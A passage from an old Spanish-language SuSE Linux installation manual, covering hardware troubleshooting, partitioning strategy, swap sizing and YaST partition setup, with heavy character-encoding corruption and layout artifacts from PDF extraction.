tema (ver el apartado 4.9.1 en la pßgina 144Ficheros necesarios para load-
lin subsection.4.9.1).
2.7.11 DOS se encuentra en modo protegido
loadlin solo puede arrancar el kernel cuando la computadora funciona ya sea
en modo real o bien en el modo virtual del 8086 con un servidor VCPI al al-
cance. Si se trabaja ahora bajo Windows 95/98, se debe llevar la computadora
al modo MS-DOS.
o Para hacerlo, se debe ir primero al bot≤n `Inicio', `Apagar sis-
tema', `Reiniciar equipo en modo MS-DOS' o
66
____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
*______________________
o generar un enlace con la interfaz de comandos MS-DOS y modificar
las propiedades de la siguiente manera: en `propiedades' seleccionar
`Avanzado' y marcar allφ `MS-DOS-Modus'. Cuando la interfaz de co-
mandos arranca, la computadora cambia a modo MS-DOS.
2.7.12 Letra de unidad del lector CD-ROM
En caso de haber generado una partici≤n adicional en el disco duro usando
fips , Θsta serφa del tipo DOS, por lo tanto, se modifican las subsiguientes
letras de unidad y el lector CD-ROM ya no serφa p. ej. D: pero tal vez E: .
Esto se normalizarß despuΘs de que se cambie el tipo de partici≤n con YaST
y la letra de unidad del lector CD-ROM serß nuevamente D: .
Si se presentan problemas al abrir el ''Escritorio'' o el explorador bajo Win-
dows 95/98, Θste a·n intentarß acceder a D: (para mantener el ejemplo).
Por tanto, se debe ajustar la configuraci≤n del sistema modificando las
propiedades del lector CD-ROM.
2.7.13 Problemas generales de hardware
Aparece uno o varios de los siguientes fen≤menos:
o Problemas de sincronizaci≤n accediendo al lector CD-ROM (Esperas pro-
longadas, fallos de bus, paradas, fallos de segmentaci≤n (ingl. Segmenta-
tion faults)).
o Fallos que indica el kernel (u otros programas), deteniΘndose con ''sig-
nal 11'' o ''signal 7''.
o Ficheros corruptos.
o Fallo en acceso de memoria.
o Visualizaci≤n incorrecta en modo grßfico.
o Error-crc accediendo la disquetera.
o Paradas o cuelgues durante el proceso de arranque.
o Fallos creando los sistemas de ficheros (p. ej. mke2fs da errores)
o Fallos creando el ßrea de intercambio (swap).
o Otra clase de comportamiento ''extra±o'' accediendo a alg·n componente
del hardware.
Causas
Los fen≤menos extra±os mencionados arriba, se deben muy probablemente
a hardware defectuoso o a da±os en un punto crφtico. Aparentemente hay
algunas placas base con problemas de sincronizaci≤n, que se hacen notar por
errores del bus (la conexi≤n fφsica CPU-Memoria-PCI-ISA).
Aunque el hardware trabaje correctamente p. ej. con DOS o con Windows,
esto a·n no dice nada sobre su estabilidad y configuraci≤n. Es posible que
el hardware funcione bien con el acceso de memoria lento y por segmentos
que realiza la + CPU, trabajando en modo real de 16bit (p. ej. bajo DOS o
Windows), pero que tenga problemas con accesos lineales en ''Bursts'' de
32bit (como lo realiza Linux).
*
* 67
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Otras fuentes de problemas son las CPU's mal refrigeradas o m≤dulos de
RAM (SIMMs) defectuosos, sensibles al calor o demasiado lentos. La CachΘ
de segundo nivel puede ocasionar tambiΘn estos efectos.
De todos modos, el origen de estos problemas es el hardware y no Linux;
Linux solamente saca a flote los problemas del hardware.
TambiΘn es cierto que Linux exige mßs a la computadora que otros sistemas
operativos, lo que por una parte aumenta las prestaciones y por otra puede
desencadenar los inconvenientes mencionados. Para Linux es muy impor-
tante encontrar una base de hardware estable, ya que en caso contrario dene-
garφa (íy con raz≤n!) el servicio. Un sistema operativo que funciona con
hardware dudoso representa un problema de seguridad serio.
Consulte tambiΘn http://www.bitwizard.nl/sig11.
┐QuΘ hacer entonces?
Existe una serie de parßmetros a repasar, que permiten ~ como mφnimo ~
aislar el componente que ocasiona problemas.
o Apagar mediante el Setup de la BIOS (CMOS) la cachΘ interna y/o la
externa.
o Reducir la frecuencia del bus (para el VLB no mßs de 40 MHz, para el
PCI-bus seg·n la especificaci≤n un mßximo de 66 MHz de frecuencia
externa), modificando el Setup de la BIOS o los ''jumpers'' sobre la placa
base.
o Aumentar los ''Waitsates'' del acceso de CPU a la memoria o a la cache
mediante modificaciones de la BIOS.
o Verificar si la opci≤n `15-16M Memory Hole' estß activa en el Setup de
la BIOS; si es asφ, desactφvela! Linux no cuenta con estos ''huecos''.
o En ''(Advanced) Chipset Setup'' configurar `CAS before RAS' si existe
esta opci≤n en el Setup de la BIOS.
o Comprobar los m≤dulos de memoria:
~ Chips de RAM diferentes (especialmente en un banco de memoria)
son posibles fuentes de error. Es mejor evitar las mezclas.
~ Para un PCI bus con 66 MHz, los m≤dulos de DRAM deben ser como
mßximo de 60 ns (o mejor menos); no hacer ''overclocking''.
~ El z≤calo y la fijaci≤n de los SIMMs o DIMMs deben calzar perfec-
tamente y no deben estar flojos ni mal alineados. Si no estß seguro,
saque los m≤dulos y col≤quelos de nuevo, comprobando que no haya
corrosi≤n ni suciedad en los contactos.
~ Cambie el orden de los m≤dulos en los bancos de memoria.
o Comprobar el funcionamiento del ventilador de la CPU y su correcta fi-
jaci≤n sobre la misma; en caso de duda se puede usar pasta de conductivi-
dad de calor (silicona).
o Apagar mediante el Setup de la BIOS las funciones de ahorro de energφa
(''Power-Management'' (APM)). Se trata de una fuente de error especial-
mente observada en conjunto con la controladora Adaptec 2940.
68
____________________________________________________________________________________2.7.__Descripci≤n_de_problemas____________*
*____________________
o Algunas CPU's que no son Pentium originales de Intel pueden causar
problemas, cuando el kernel o el compilador han sido optimizados para
Pentium (p. ej. un AMD K6 o un Cyrix 6x86). En tal caso, optimice como
mßximo para procesadores del tipo 486 o incluso solo para 386; como
·ltimo recurso use el kernel estßndar de SuSE (ver apartado 3.7.2 en la
pßgina 105Configuraci≤n del kernel y arranquesubsection.3.7.2).
o Comprobar en el Setup de la BIOS las configuraciones generales y usar
en caso de necesidad las configuraciones por defecto `BIOS-Defaults'.
o Si la BIOS es defectuosa el ·nico remedio es hacer una actualizaci≤n.
Consulte al vendedor o al fabricante de la placa base.
o La fuente de alimentaci≤n no tiene suficiente potencia o el voltaje oscila;
pruebe de apagar o desconectar algunos dispositivos.
o No usar ''Busmaster-DMA'', denominado tambiΘn ''UDMA'' o ''Ultra-
DMA''. Mantenga los cables-EIDE cortos y adquiera unos de buena cali-
dad.
*
* 69
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
2.8 Particionar para principiantes
A los principiantes en el uso de Linux y del sistema de ficheros, se les podrφa
presentar las siguientes preguntas: ┐Cußnto espacio hay que proporcionar a
Linux? ┐Cußl es el mφnimo? ┐Cußnto deberφa ser? ┐Cußl es la cantidad
razonable? ┐C≤mo particionar el espacio?
Tipos de partici≤n en el PC
Cada disco duro contiene una tabla de particiones con espacio para cuatro
entradas, de las cuales solo una puede ser una partici≤n extendida y el resto
primarias o todas podrφan ser primarias.
La esencia de las particiones primarias es relativamente simple pues se trata
de una zona continua de cilindros, que estß asignada a un sistema operati-
vo. Con particiones primarias, solamente se puede establecer un mßximo de
cuatro; no caben mßs en la tabla de particiones.
Aquφ comienza el concepto de la partici≤n extendida, la que tambiΘn se repre-
senta como una zona continua de cilindros. Sin embargo, es posible dividir la
partici≤n extendida en particiones l≤gicas, que no necesitan una entrada en la
tabla de particiones. Se puede decir que se trata de una especie de contenedor
para las particiones l≤gicas.
Si se necesitan mßs de cuatro particiones es necesario definir la cuarta como
partici≤n extendida y asignar a ella todos los cilindros libres. En esta se
pueden generar entonces casi tantas particiones como se desee (el mßximo
se sit·a en 15 para discos SCSI y en 63 para discos (E)IDE).
A Linux no le importa en cußl tipo de partici≤n (primaria o l≤gica) estß
instalado.
Decidirse. . .
Comenzamos con lo realmente importante: 180 MB, pero hablando de un uso
especial de la computadora, trabajando solamente en la consola sin sistema X
Window. Con la idea de usar X y algunas pocas aplicaciones hay que calcular
con 500 MB; ambos casos incluyen la zona de intercambio (swap).
┐Cußnto deberφa ser? Alrededor de 1 GB. En el mundo de los discos de
gigabytes no es pedir demasiado. Esta cantidad incluirφa el espacio de swap
pero sin lφmite superior.
┐QuΘ cantidad tiene sentido? Depende de lo que se quiera:
o Trabajar bajo X Windows con aplicaciones modernas como KDE , Ap-
plixware y Netscape necesita 1,2 GB.
o Desarrollar con Linux peque±as aplicaciones en el entorno del sistema
X Window tambiΘn requiere aprox. 1,2 GB.
o Las dos modalidades anteriores: 2,0 GB
o Compilar servidores X propios, grabar CDs propios y lo anterior: 4 GB.
o Accionar un servidor FTP o de Internet: 700 MB sistema base + infinito.
┐C≤mo particionar el espacio? Esta es una pregunta sencilla cuya respues-
ta no lo es.
70
__________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| Con la robustez que ha alcanzado el sistema de ficheros Linux, no es mala ||| |
||||||||| idea ~ especialmente para principiantes ~ seguir la estrategia de YaST : || ||
|||||||| Prepare una partici≤n peque±a al comienzo del disco para /boot (como ||| |
|||||||| mφnimo 2 MB, en caso de discos grandes 1 cilindro), una partici≤n para la || |
|||||||| || |
|||||||| zona de intercambio (Swap) de 64 a 128 MB y el resto para /. || |
||||||||_______________________________________________________________________________________________________________||_
Si se desea hacer algunas particiones pero no muchas, funciona lo sigu-
iente:
o Hasta cerca de 500 MB: Una partici≤n swap y una partici≤n de root (/).
o De 500 MB hasta 2 GB: Una partici≤n peque±a para el kernel y para
LILO al comienzo del disco duro (/boot) con cerca de 5-10 MB o bien
un cilindro; la partici≤n swap y el resto para la partici≤n de root (/).
o A partir de 2 GB: Boot (/boot, swap, root (250 MB)), home (/home con
cerca de 100 MB) y el resto para programas (/usr); tambiΘn podrφa ser
una partici≤n para /opt (ver en esta pßgina).
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Para arrancar Linux directamente desde el disco duro, se necesita entonces || |
|||||||| una partici≤n Linux por debajo del ''lφmite de 1024 cilindros'' como par- || |
|||||||| || |
|||||||| tici≤n de arranque (al respecto, leer en la pßgina 123┐D≤nde se puede in- || |
|||||||| stalar LILO ?Hfootnote.17 y el en la pßgina ????????). Este tema no tiene || |
|||||||| || |
|||||||| importancia si se arranca Linux desde DOS/Windows con loadlin . Desde || |
|||||||| la versi≤n 6.0 de SuSE Linux, la partici≤n de arranque es generalmente la || |
|||||||| || |
|||||||| partici≤n ''boot'' (/boot). || |
||||||||_______________________________________________________________________________________________________________||_
Se debe tener en cuenta que algunos programas ~ generalmente comerciales
~ instalan sus datos bajo /opt, asφ que es conveniente generar una partici≤n
propia para /opt o bien hacer la partici≤n root mßs grande. En particular se
trata de los paquetes y demostraciones listados en la tabla 2.1 en la pßgina
siguiente. El requerimiento de espacio indicado en la tabla es algo superior
que el real. TambiΘn se indican programas que no se distribuyen con SuSE
Linux.
2.9 Particionar para avanzados
En el apartado 2.8 en la pßgina anterior tal como en el apartado 2.10.1 en
la pßgina 77Establecer particionessubsection.2.10.1, se ha comentado breve-
mente sobre c≤mo particionar el sistema. El presente apartado quiere pro-
porcionar informaci≤n detallada con la cual se pueda crear un esquema de
partici≤n optimizado para el sistema. Es ademßs especialmente interesante
para aquellos que quieran configurar el sistema de manera ≤ptima, respecto a
seguridad y velocidad y que estßn ~ seg·n las circunstancias ~ dispuestos a
crear todo desde cero. íArrasar con todo, esa es la idea!
Es fundamental entender el modo de funcionar de un sistema de ficheros
UNIX. En particular, los conceptos del punto de montaje (+ Mountpoint) tal
como los de las particiones l≤gicas y extendidas, se deben haber entendido.
Al principio es importante destacar que no existe un solo camino ≤ptimo para
todos pero que sφ existen muchos caminos buenos para cada uno. No hay
*
* 71
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
KDE 170 MB
GNOME 100 MB
htdig 5 MB
Fortify 2 MB
dochost con text-b·squeda htdig 200 MB
Wabi 10 MB
Netscape 35 MB
Arcad 350 MB
Applixware 400 MB
Eagle 18 MB
StarOffice 150 MB
Cyberscheduler Software 30 MB
Cygnus Source-Navigator 20 MB
SNiFF+ 45 MB
Insure++ 45 MB
pep 18 MB
Oracle 8 400 MB
Sybase ~ Adaptive Server Enterprise 170 MB
________________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_MB_______________*
*________
Tabla 2.1: Ejemplos de paquetes bajo /opt ~ no todos estos se suministran
con SuSE Linux.
de quΘ preocuparse, ya que tambiΘn habrß reglas y cifras concretas en este
apartado.
Como primer paso, se debe reunir la siguiente informaci≤n:
o ┐Para quΘ usarß su mßquina (servidor de ficheros, Compute- Server,
estaci≤n de trabajo)?
o ┐Cußntas personas trabajarßn en la computadora (contado en logins si-
multßneos)?
o ┐Cußntos discos duros tiene la computadora, cußl tama±o tienen y cußl
interfaz (EIDE, SCSI o incluso una controladora RAID)?
2.9.1 El tama±o de la partici≤n de intercambio (swap)
Todavφa se puede leer en muchas partes: ''La cantidad de + Swap debe ser
como mφnimo el doble de la de RAM''. Esta regla pertenece al tiempo en el
cual 8 MB de RAM era suficiente. Estos tiempos han pasado. La persona que
compra hoy en dφa una computadora con menos de 32 MB ha sido muy mal
aconsejada. Volviendo a la regla anterior: El fin era conseguir una computa-
dora con cerca de 30 a 40 MB de + Memoria virtual.
Con las aplicaciones modernas, hambrientas de memoria, hay que corregir
estos valores hacia arriba. Normalmente 64 MB de memoria virtual es su-
ficiente, pero es mejor no ser taca±o con ello. Compilando el kernel en el
entorno X-Window y mirando las pßginas de ayuda con Netscape mientras
que en alg·n lugar se ejecuta Emacs , entonces con 64 MB de memoria virtu-
al se estß sin muchas reservas.
72
__________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
*______________________
Esto significa que el usuario normal se encuentra en el lado seguro con
128 MB de memoria virtual. Lo que no se deberφa hacer, bajo ning·n pre-
texto, es no proporcionar ning·n tipo de memoria swap. Incluso una mßquina
con 256 MB RAM deberφa tener una zona de swap. La raz≤n para ello se
detalla en el apartado 2.9.3 en la pßgina 76Tasa de transferencia a discos y
tama±o de memoriaItem.53.
TambiΘn es posible que se ejecuten simulaciones con gasto de memoria del
orden de gigabytes. Si existen dudas acerca de si Linux puede soportar o no
semejante carga, se aconseja leer el apartado 2.9.2 en la pßgina siguiente (tipo
de uso: Compute-Server).
2.9.2 Formas de uso de la computadora
Como estaci≤n de trabajo:
Este es el tipo de uso mßs frecuente de una computadora con Linux. Para
poder orientarse con valores concretos, hemos compilado un par de configu-
raciones de ejemplo, que pueden ser usadas seg·n necesidad, en la casa o en
la empresa. Los espacios requeridos para un determinado tipo de instalaci≤n
se encuentran en la tabla 2.2
_______________________________________________________________________________________________________________________
Instalaci≤n__________Espacio_necesario_en_disco__________________________________________________________________________
mφnimo 180 MB hasta 400 MB
peque±o 400 MB hasta 800 MB
mediano 800 MB hasta 4 GB
grande 4 GB hasta 8 GB
_______________________________________________________________________________________________________________________
Tabla 2.2: Ejemplos de tama±os de instalaci≤n
Naturalmente estos valores suben si se quiere guardar ficheros adicionales,
aparte de los propios del sistema.
Estaci≤n de trabajo estßndar (muy peque±a)
Le sobra un disco duro de alrededor de 500 MB y lo quiere usar para Linux.
En este caso genere una partici≤n de swap de 64 MB y reserve el resto para
la partici≤n root /.
Estaci≤n de trabajo estßndar (promedio)
Le quedan 1,2 GB libres para Linux. Genere una partici≤n de arranque pe-
que±a /boot (5-10 MB o un cilindro), 180 MB para /, 64 MB para el swap,
100 MB para /home y el resto para /usr; no olvide la zona para /opt (ver el
apartado 2.8 en la pßgina 71Decidirse. . . section.2.8). Para la determinaci≤n
del tama±o de la partici≤n root, vigile el hecho de que el banco de datos RPM
se coloca en /var!
*
* 73
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Estaci≤n de trabajo (lujo)
Si tiene 1,2 GB o incluso mßs en varios discos, entonces no existe ninguna
forma global de particionar. A este respecto consulte apartado 2.9.3.
Como servidor de ficheros:
Aquφ todo depende realmente de las prestaciones del disco duro. En todo
caso, son preferibles los discos duros tipo SCSI. TambiΘn vale la pena tener
en cuenta la potencia del disco (SCSI, SCSI Ultra Wide, revoluciones, etc.) y
de la controladora.
Un servidor de ficheros ofrece la posibilidad de almacenar datos de man-
era centralizada. Se puede tratar de + Directorio de usuario (directorios de
usuario), de un banco de datos o de otros ficheros diversos. La ventaja es
bßsicamente una administraci≤n simplificada.
Si el servidor de ficheros debe trabajar en una red amplia (a partir de 20 usuar-
ios) la optimizaci≤n del acceso al disco es esencial.
Supongamos que se quiere construir un servidor de ficheros a base de Linux
para servir con los directorios personales a 25 usuarios. Se calcula que cada
usuario ocuparß un mßximo de 80 MB para sus datos personales. Un disco
duro de 2 GB para montar /home es suficiente, suponiendo que los usuarios
no siempre compilan en su + Directorio personal (home).
Con 50 usuarios, el simple cßlculo indica que es suficiente con 4 GB. En
realidad resulta mejor montar /home en dos discos de 2 GB, porque estos se
distribuyen entre sφ la carga y el tiempo de acceso.
Uso como Servidor:
Un Servidor (Compute-Server) es generalmente una computadora potente que
se encarga de tareas de cßlculo grandes en una red. Tφpicamente una mßquina
de estas caracterφsticas tiene mucha memoria (a partir de 512 MB). El cuello
de botella se encuentra aquφ, en las particiones de swap. En este caso tambiΘn
cuenta que es mejor distribuir varias particiones swap en varios discos4 .
2.9.3 Posibilidades de optimizaci≤n
Generalmente los discos duros son el factor limitante. Existen dos diferentes
posibilidades (que se deben usar juntas) para pasar por ese cuello de botella:
o Distribuir la carga de manera equilibrada en varios discos.
o Utilizar un sistema de ficheros optimizado (p. ej. reiserfs ).
o Equipar el servidor de ficheros con suficiente memoria (mφnimo 128 MB).
_____________________________________________4
Si la computadora trabaja a·n con el kernel 2.0.xx, cabe rese±ar que el tama±o mßximo de la
partici≤n de swap es de 128 MB, pero Linux puede administrar hasta 8 de estas particiones (con
pocas modificaciones tambiΘn 64). Para el kernel 2.2.xx el tama±o mßximo del ''Swap'' es de
2 GB.
74
__________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
*______________________
Paralelizar con varios discos
Hay que explicar el primer mΘtodo con mßs detenimiento. El tiempo total
que transcurre hasta que se pueden proporcionar los datos pedidos a un disco,
se constituye (aproximadamente) de las siguientes fases:
1. tiempo, hasta que el pedido estß en la controladora.
2. tiempo, hasta que la controladora envφe este pedido al disco duro.
3. tiempo, hasta que el disco duro posiciona su cabezal.
4. tiempo, hasta que el disco se haya girado hacia al sector correcto.
5. tiempo para la transmisi≤n de los datos.
El punto 1 depende de la conexi≤n a la red, se regula allφ y no nos debe
ocupar ahora. El tiempo mencionado en el punto 2 es muy corto y depende
de la controladora misma. El punto 3 suele ser ''lo gordo'', ya que se trata
de un tiempo que se mide en ms. Comparado con los tiempos de acceso
a la memoria RAM, que son del orden de ns, hablamos de un factor de
1 mill≤n(!). El punto 4 depende de las revoluciones del disco y el punto 5
de esas revoluciones y de la cantidad y posici≤n actual de los cabezales (en la
zona interior o exterior del disco).
Lo mejor para un buen rendimiento es entonces ''atacar'' en el punto 3. Los
discos del tipo SCSI lo tratan de mejorar mediante la caracterφstica ''discon-
nect''. Esta caracterφstica significa mßs o menos lo siguiente:
La controladora envφa al dispositivo conectado (en este caso el disco duro)
la orden ''íVete a la pista x, sector y!''. Ahora la mecßnica del disco duro
con toda su inercia se tiene que poner en marcha. Si el disco es inteligente
(o maneja ''disconnect'') y el driver de la controladora tambiΘn conoce esta
caracterφstica, entonces la controladora del disco envφa inmediatamente la
orden ''disconnect'' y el disco se separa del bus-SCSI. A partir de ahora, otros
dispositivos SCSI pueden llevar a cabo la transferencia de datos. DespuΘs
de un rato (dependiendo de la estrategia o de la carga en el bus SCSI), se
reanudarß la conexi≤n al disco duro. En el caso ideal, Θste ya habrß llegado
con su cabezal a la posici≤n de lectura deseada.
En un sistema multitarea y multiusuario como Linux, quedan muchas posi-
bilidades para optimizar. Se puede observar entonces el resultado de la salida
del comando df (ver Mensaje en pantalla 2.9.1).
_______________________________________________________________________________________________________________________
|||||||| Filesystem 1024-blocks Used Available Capacity Mounted on |
|||||||| /dev/sda2 45835 27063 16152 63% / |
|||||||| /dev/sdb1 992994 749694 192000 80% /usr |
|||||||| /dev/sdc1 695076 530926 133412 80% /usr/lib |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 2.9.1: Ejemplo de particionar: Resultado del comando
df .
┐QuΘ ventaja proporciona esta paralelizaci≤n? Supongamos que se introduce
en /usr/src lo siguiente:
root@tierra:/usr/src/ > tar xzf paket.tgz -C /usr/lib
De este modo se instala paket.tgz en /usr/lib/paket. Para ello, la shell
llama los programas tar y gzip (se encuentran en /bin y por lo tanto sobre
*
* 75
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
/dev/sda), despuΘs se lee paket.tgz desde /usr/src (se encuentra sobre
/dev/sdb). Por ·ltimo, los datos extraφdos se escriben en /usr/lib, que
se encuentra sobre /dev/sdc. Ahora el posicionamiento tal como la lec-
tura/escritura de los + B·feres internos del disco, se pueden llevar a cabo de
manera casi~paralela.
Lo arriba expuesto es solamente un ejemplo entre muchos. Por experiencia
se puede decir que /usr y /usr/lib se deben encontrar en diferentes discos
si se trata de un sistema de varios discos igual de rßpidos. El path /usr/lib
debe tener cerca del 70% de la capacidad de /usr. Por la gran cantidad de
accesos es conveniente que el + Directorio root se encuentre en el disco con
/usr/lib.
A partir de una cierta cantidad de discos SCSI (de 4 a 5), conviene considerar
seriamente una soluci≤n RAID por software o (mejor) la adquisici≤n de una
controladora RAID. Con ella, las operaciones en los discos se ejecutarßn no
solo de manera casi-paralela pero realmente de forma paralela. La tolerancia
respecto a fallos es otra agradable ventaja de la tecnologφa RAID.
Tasa de transferencia a discos y tama±o de memoria
Mencionamos en varios sitios que bajo Linux, el tama±o de la memoria puede
resultar en muchas ocasiones mßs importante que la propia velocidad del
procesador. Una raz≤n ~ sino la mayor ~ es la propiedad que tiene Linux
de generar b·feres dinßmicos con datos del disco duro. Haciendo esto, Linux
usa muchos trucos sofisticados como ''read ahead'' (saca sectores adicionales
del disco como provisi≤n para el futuro) y ''delayed write'' (ahorra grabar
datos para luego guardar una mayor cantidad de informaci≤n de una sola
vez). Lo ·ltimo es la raz≤n por la cual no se puede apagar asφ de simple
una computadora con Linux. Ambos trucos son los responsables del hecho
que la memoria aparezca con el tiempo mßs llena y del hecho que Linux sea
tan rßpido.
________________________________________________________________________________________________________*
*________||
| total used free shared buffers cached *
* |
| Mem: 63304 62312 992 15920 38692 4200 *
* |
| -/+ buffers: 19420 43884 *
* |
| Swap: 199508 14548 184960 *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 2.9.2: Resultado del comando free
El salida en pantalla 2.9.2 muestra que hay alrededor de 38 MB almacenados
en el b·fer. Cuando se quiere acceder a cualquier dato que se encuentra
todavφa en el b·fer, Θste llega prßcticamente al instante.
76
_________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro_________________*
*______________________
2.10 Configuraci≤n manual del disco duro
2.10.1 Establecer particiones
┐De quΘ se trata?
En el apartado 2.2.4 en la pßgina 35Arrancar YaST subsection.2.2.4 se de-
cidi≤ establecer las particiones de manera interactiva. El presente apartado
explica las pantallas de YaST que aparecerßn durante el proceso de configu-
raci≤n.
Andries Brouwer ha preparado un documento con informaci≤n mßs de-
tallada sobre los distintos tipos de partici≤n que se encuentra en http:
//www.win.tue.nl/~aeb/partitions/.
Paso por paso. . .
Para ajustar las particiones se procede de la siguiente manera:
1. YaST presenta una pantalla con varias zonas (ver figura 3.9 en la pßgi-
na 91Particionar disco(s) duro(s)section.3.4):
o En la parte superior de la pantalla figuran los parßmetros del disco
duro.
o En la segunda parte se encuentran posibles advertencias y mensajes de
error del_programa fdisk . Estos mensajes se pueden visualizar mejor
con |F___|6.
o En la parte inferior se apuntan las particiones que fdisk ha encontrado
en el disco duro. Allφ se pueden ver las particiones del sistema oper-
ativo que se ha usado hasta ahora, por ejemplo MS~DOS. En caso de
haber generado una partici≤n de swap, Θsta tambiΘn figura allφ.
2. Para borrar particiones existentes, con el fin de particionar de nuevo el
espacio liberado, se debe hacer primero lo siguiente:
Navegar con las teclas |#__|y |"__|para dirigirse a la partici≤n que se quiere
borrar. PiΘnselo otra_vez_bien; tambiΘn tenga en cuenta_el_tipo de parti-
ci≤n. DespuΘs pulse |F___|4y confirme el borrado con |_____-|.
_______________________________________________________________________________________________________________________
|||||||| Cuando se borran particiones, tambiΘn se borran todos los datos contenidos ||| |
|||||||| a || |
|||||||| en ellas . || |
|||||||| ____________________________________________ || |
|||||||| a Esta afirmaci≤n no es tΘcnicamente correcta al 100%, pero los datos se borrarßn igualmente! || |
||||||||_______________________________________________________________________________________________________________||_
Si se desea borrar varias particiones, lo mejor es llevarlo a cabo de una
vez.
3. En caso de querer usar las particiones de otros sistemas operativos para
Linux, se puede efectuar ahora cambiando el tipo de partici≤n.
_______________________________________________________________________________________________________________________
|||||||| íCuando se cambia el tipo de partici≤n, es probable que otros sistemas ||| |
|||||||| || |
|||||||| operativos (MS-DOS o Windows) ya no puedan acceder a los datos con- || |
|||||||| tenidos en ella! || |
||||||||_______________________________________________________________________________________________________________||_
*
* 77
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
Navegar con |#__|y |"__|para anotar la partici≤n a la que se quiere_cambiar de
tipo. Cuando se encuentre la partici≤n ''correcta'', pulsar |F___|3.
Aparece una peque±a ventana para seleccionar el tipo de partici≤n desea-
da. Elegir entre_una_partici≤n Linux normal y una del tipo swap y despuΘs
confirmar con |_____-|.
4. Si quiere generar nuevas particiones de Linux (lo normal), entonces ___
genΘrelas_ una despuΘs de la otra. Con este fin se pulsa primero |___F|5.
Si |___F|5no muestra ning·n resultado, significa que no hay espacio para
nuevas particiones en el disco duro. En este caso habrß que borrar primero
algunas particiones (ver arriba). . . .
Figura 2.18: YaST ~ Definici≤n de particiones
Aparece una ventana de selecci≤n para definir el tipo de la nueva parti-
ci≤n (figura 2.18). Seleccionar entre `Partici≤n primaria', `Parti-
ci≤n extendida'_ y eventualmente `Partici≤n l≤gica'; confirmar
con |_____-|. Para recordar: Cada disco soporta como mßximo cuatro parti-
ciones primarias. Si se necesitan mßs de cuatro particiones primarias,
la cuarta partici≤n debe ser una partici≤n extendida, dentro de la cual
se pueden generar entonces varias particiones l≤gicas. Para mayor in-
formaci≤n ver el apartado 2.8 en la pßgina 70Tipos de partici≤n en el
PCsection.2.8.
Si se ha generado una partici≤n l≤gica o primaria, se debe determinar
bajo cußl nombre de dispositivo (ingl. device) debe figurar. YaST ofrece
los nombres disponibles para Θstos; simplemente_se selecciona el nombre
superior, p. ej. `/dev/hda2' y se pulsa |_____-|.
En el siguiente paso se tiene que definir el tama±o de la nueva partici≤n.
YaST propone como comienzo de la primera, el primer__cilindro_ libre.
Normalmente se puede confirmar esta propuesta con |_____-|. Ahora es
necesario fijar el final de la partici≤n. Se presentan tres posibilidades:
Precisar ya sea el n·mero del cilindro final (p. ej. 976 ), la cantidad de
78
_________________________________________________________________2.10.__Configuraci≤n_manual_del_disco_duro_________________*
*______________________
cilindros de la partici≤n_(p._ej. +66 ) o bien, el tama±o en megabytes_(p. ej.
+100M ). De nuevo |_____-|le lleva a `Continuar'; confirme con |_____-|.
La partici≤n reciΘn definida aparece ahora en la parte inferior de la pan-
talla. Si esta_partici≤n_no ha resultado como se esperaba, se puede borrar
de nuevo con |F___|4. . .
5. Una de las particiones debe ser en _todo caso_ del tipo swap. Si todavφa
no ha generado ninguna, seleccione con |#_ |y |"_ |una partici≤n adecuada
(para encontrar un tama±o razonable para la partici≤n swap consulte el
apartado 2.8 en la pßgina 70Tipos de partici≤n en el PCsection.2.8). Pulse
||__|F3, seleccione `Partici≤n Linux swap' y confirme la operaci≤n con
||__
_____-|.
6. ┐Estßn ahora todas las particiones establecidas seg·n su deseo? (el dis-
co duro debe estar completamente ocupado) ┐TambiΘn se__ha_ tenido en
cuenta la partici≤n de swap? Entonces mueva el + _Cursor_|T____a|bal campo
`Continuar', en caso de no encontrarse allφ ya. | _____|-le llevarß despuΘs
de una confirmaci≤n adicional a la ventana `Definici≤n de sistemas
de fichero'.
Seg·n las condiciones, YaST comprueba otra vez la partici≤n de swap para
asegurarse.
2.10.2 Fijar sistemas de fichero y ''Mountpoints''
┐De quΘ se trata?
En el paso anterior todas las particiones se dieron de alta en la tabla de
particiones. En el paso actual se debe proporcionar informaci≤n adicional
para las particiones Linux reciΘn configuradas y para las que puedan existir
del tipo DOS o HPFS.
Informaci≤n adicional
La informaci≤n adicional acerca de las particiones, se queda parcialmente fija
en el fichero /etc/fstab, que es la tabla de sistemas de fichero (ingl. file
system table). Esta tabla contiene todas las caracterφsticas constantes sobre
los sistemas de fichero, p. ej. el nombre de dispositivo (ingl. + Device), la
posici≤n o el tipo de sistema 5 .
Ademßs, YaST necesita los datos para poder establecer los sistemas de
fichero Linux en las particiones formateadas. En este paso de la configuraci≤n
no se toca la partici≤n swap, porque ya fue definida en el apartado 2.10.1 en
la pßgina 77Establecer particionessubsection.2.10.1 y no tiene ning·n grado
de libertad adicional.
Contrariamente a los efectos que tiene la manipulaci≤n de la tabla de parti-
ciones (ver apartado 2.10.1 en la pßgina 77Establecer particionessubsection.2.10.1),
los ajustes de este apartado son internos de Linux y en consecuencia no tienen
ning·n efecto sobre otros sistemas operativos que se encuentran en otras par-
ticiones.
A continuaci≤n_las_explicaciones_sobre_algunos_tΘrminos:___
5 TambiΘn contiene informaci≤n para los programas dump y fsck ; ver la pßgina del manual de
fstab (man 5 fstab ).
*
* 79
2. La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
*_______________________________________@
o Bajo Linux todos los sistemas de fichero estßn ligados a un ·nico ''ßr-
bol'' (ver figura C.1 en la pßgina 511Vista generalsection.C.1). Para cada
sistema de ficheros se debe precisar en cußl rama del ßrbol debe apare-
